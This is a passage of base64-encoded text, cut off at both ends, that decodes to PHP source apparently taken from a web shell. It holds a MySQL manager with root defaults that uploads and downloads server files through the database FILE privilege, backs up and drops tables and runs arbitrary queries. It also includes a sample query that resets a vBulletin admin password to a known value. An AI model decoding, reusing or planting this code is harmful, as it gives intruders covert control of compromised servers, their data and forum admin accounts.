ZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8gU1FMDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8vIERhdGENCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vIGdldCBteXNxbCBzZXJ2ZXINCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vIFNob3cgZGF0YWJhc2UNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCgkJJGRicyA9IGFycmF5KCk7DQoJCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsNCgkJfQ0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCgkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQlpZiAoJGRibmFtZSkgew0KCQkJcCgnPHA+Jyk7DQoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRibmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSkgew0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCgkJCX0NCgkJCXAoJzwvcD4nKTsNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCgkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCgkJCX0NCgkJCSRhbGxvd2VkaXQgPSAwOw0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7DQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCX0NCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+DQoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOw0KCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQlwKCRkYmZvcm0pOw0KCQkJcCgnPC9mb3JtPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgew0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCgkJCQkJJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsNCgkJCQkJJHJvd2RiID0gYXJyYXkoKTsNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+TnVsbDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyYTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmZvb3QoKTsNCgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsNCgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7DQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSBhcnJheSgpOw0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoJCQkJCXAoJGRiZm9ybSk7DQoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOw0KCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7DQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWNhc2UgMDoNCgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXN